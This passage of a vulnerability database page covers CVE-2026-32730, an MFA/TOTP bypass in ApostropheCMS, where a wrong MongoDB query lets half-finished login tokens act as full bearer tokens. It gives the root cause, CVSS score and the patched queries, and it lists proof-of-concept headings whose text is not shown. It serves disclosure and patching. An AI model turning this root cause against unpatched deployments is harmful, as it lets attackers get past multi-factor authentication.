388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token\u0027s actual ID\n});\n```",
  "id": "GHSA-v9xm-ffx2-7h35",
  "modified": "2026-03-19T21:14:07Z",
  "published": "2026-03-18T19:48:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware"
}

CVE-2026-32730 (GCVE-0-2026-32730)

Vulnerability from cvelistv5 – Published: 2026-03-18 22:00 – Updated: 2026-03-19 16:12

Title

ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-287 - Improper Authentication
CWE-305 - Authentication Bypass by Primary Weakness

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	apostrophecms	apostrophe	Affected: < 4.28.0

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-V9XM-FFX2-7H35

MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Summary

Severity

Affected Versions

Root Cause

Attack Scenario

Prerequisites

Steps

Proof of Concept

Amplifying Bug: Incorrect Token Deletion in finalizeIncompleteLogin

Recommended Fix

Fix 1: Bearer token query (express/index.js line 388)

Fix 2: Token deletion (login/index.js lines 728-729, 735-736)

CVE-2026-32730 (GCVE-0-2026-32730)

Tags

Sightings

Nomenclature

Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`